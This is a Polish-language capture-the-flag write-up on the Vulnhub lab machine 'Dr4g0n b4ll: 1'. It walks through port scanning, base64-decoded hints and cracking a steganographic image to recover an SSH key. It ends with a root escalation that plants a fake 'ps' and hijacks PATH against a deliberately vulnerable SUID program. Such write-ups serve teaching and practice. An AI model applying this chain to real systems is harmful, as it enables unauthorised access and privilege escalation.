Dr4g0n b4ll: 1
Write-up is in Polish language.
Metainfo
Nazwa: | Dr4g0n b4ll: 1 |
Autor: | Mr_xmen |
Wypuszczony: | 2021-01-14 |
Do ściągnięcia: | Vulnhub |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | Metasploit, Base64, Stegcracker, C |
Wstęp
Wydany na początku stycznia 2021 Dr4g0n b4ll: 1, jak to autorzy wspominają jest bardzo prostą maszyną, jednak w maju utknąłem na niej w połowie, ponieważ wcześniej nie miałem do czynienia ze stenografią. Jedna po zaliczeniu paru podatnych obrazów, trochę wiedzy przybyło i spróbowałem jeszcze raz. Jak zwykle, żeby wszystko działało pod XCP-NG trzeba zmodyfikować GRUBa. Co do poziomu, to prostota prostocie nierówna, ostatnio też bawiłem się maszyną Hack Me Please: 1, ale ona już dla mnie taka prosta nie była, jak pisał autor. Przypominała bardziej prawdziwą sytuację, niż taką upstrzoną zagadkami. W hack-me-please niestety posiłkowałem się solucją na necie. Inny typ zadania, ale zawsze jest jakieś nowe doświadczenie. Wracając do Dragon Balla, jest ciekawy trik na końcu, który nieraz się wam może przydać, ale to na końcu.
Zaczynamy
Jak zwykle skanujemy porty Nmapem. Możemy pod Metasploitem, albo bez. Ja wolę użyć Metasploita, bo mam potem wszystkie ip, hasła, otwarte porty w jednym miejscu. Co do Shella, to niekoniecznie, czasami wolę się wbić normalnie przez SSH, niż potem ulepszać Meterpreter, ale co kto woli.
msf6 exploit(multi/handler) > db_nmap -A -p- 172.16.1.113
...
msf6 exploit(multi/handler) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.1.113 22 tcp ssh open OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
172.16.1.113 80 tcp http open Apache httpd 2.4.38 (Debian)
Co na stronie piszczy?
Otwarte są tylko 2 porty: 22 i 80. Na Stronie WWW mamy zdjęcia z anime Dragon Ball.
To tylko ozdoba. Prawdziwa przygoda zaczyna się w kodzie strony. Na samym dole jest zakodowany napis:
Po trzykrotnym rozkodowaniu mamy napis DRAGON BALL:
# echo -n VWtaS1FsSXdPVTlKUlVwQ1ZFVjNQUT09 | base64 -d
# echo -n UkZKQlIwOU9JRUpCVEV3PQ== | base64 -d
# echo -n RFJBR09OIEJBTEw= | base64 -d
DRAGON BALL
Radzę pisać z przełącznikiem -n, teraz odkoduje tak samo, ale podczas kodowania base64 bez -n wychodzą inne rzeczy, Echo koduje dodatkowo znak nowej linii 0x0a.
Skanowanie Gobusterem:
# gobuster dir -u http://172.16.1.124 -w /usr/share/wordlists/dirb/common.txt
I mamy parę ciekawych rzeczy: http://172.16.1.124/robots.txt
Ponownie dekodujemy:
# echo -n eW91IGZpbmQgdGhlIGhpZGRlbiBkaXI= | base64 -d
# echo -n ZVc5MUlHWnBibVFnZEdobElHaHBaR1JsYmlCa2FYST0K | base64 -d
# echo -n eW91IGZpbmQgdGhlIGhpZGRlbiBkaXI= | base64 -d
you find the hidden dir
Jest komunikat, żeby szukać ukryty katalog: http://172.16.1.113/DRAGON%20BALL/Vulnhub/
Poniżej zawartość:
http://172.16.1.113/DRAGON%20BALL/Vulnhub/login.html
Stenografia
Strona poprawnie nie działa, ale mamy login. i jest ciekawy obrazek aj.jpg:
Rozkodujmy go:
# root@kali:/home/szikers/dr4g0n_b4ll# stegcracker aj.jpg
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2021 - Luke Paris (Paradoxis)
StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.
StegSeek can be found at: https://github.com/RickdeJager/stegseek
No wordlist was specified, using default rockyou.txt wordlist.
Counting lines in wordlist..
Attacking file 'aj.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: love
Tried 451 passwords
Your file has been written to: aj.jpg.out
love
Podglądamy co to za plik:
# root@kali:/home/szikers/dr4g0n_b4ll# file aj.jpg.out
aj.jpg.out: OpenSSH private key
Lądujemy do Shella
Mamy klucz, więc możemy się dostać do shella, spróbujmy z loginem xmen:
# ssh -i id_rsa xmen@172.16.1.113
Poszło: Mamy ciekawy katalog script, ale poszukajmy plików, które mają ustawiony bit suid, może się coś ciekawego znajdzie:
# xmen@debian:~/script$ find / -perm -4000 2> /dev/null
/home/xmen/script/shell
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
Ciekawa jest zawartość: /home/xmen/script/shell
# xmen@debian:~$ ls script/ -lah
total 32K
drwxr-xr-x 2 root root 4.0K Jan 4 2021 .
drwxr-xr-x 5 xmen xmen 4.0K Aug 9 07:17 ..
-rw-r--r-- 1 root root 75 Jan 4 2021 demo.c
-rwsr-xr-x 1 root root 17K Jan 4 2021 shell
W demo.c widać krótki kod źródłowy. Program przechodzi na uprawnienia roota i uruchamia ps:
demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
Program ./shell uruchamia ps z uprawnieniami roota:
# xmen@debian:~/script$ ./shell
PID TTY TIME CMD
5013 pts/0 00:00:00 shell
5014 pts/0 00:00:00 sh
5015 pts/0 00:00:00 ps
Nie mamy podanej całej ścieżki do ps, więc możemy to wykorzystać. Stwórzmy program w katalogu domowym:
# file=/home/xmen/ps; touch $file && echo '/bin/bash' > $file && chmod +x $file
A następnie wyedytujmy zmienną PATH, żeby na początku szukała ps w naszym katalogu domowym: PATH=”/home/xmen:$(echo $PATH)”
# xmen@debian:~/script$ echo $PATH
/home/xmen:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# xmen@debian:~/script$ ./shell
# root@debian:~/script# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(xmen)
Słowo na koniec
I to właśnie jest przestroga, żeby bardzo uważnie pisać pliki, jeżeli chcemy dać uprawnieniami suid. ps przecież jest niegroźny, ale można zakombinować i zrobić, żeby był niebezpieczny.
Zostaw komentarz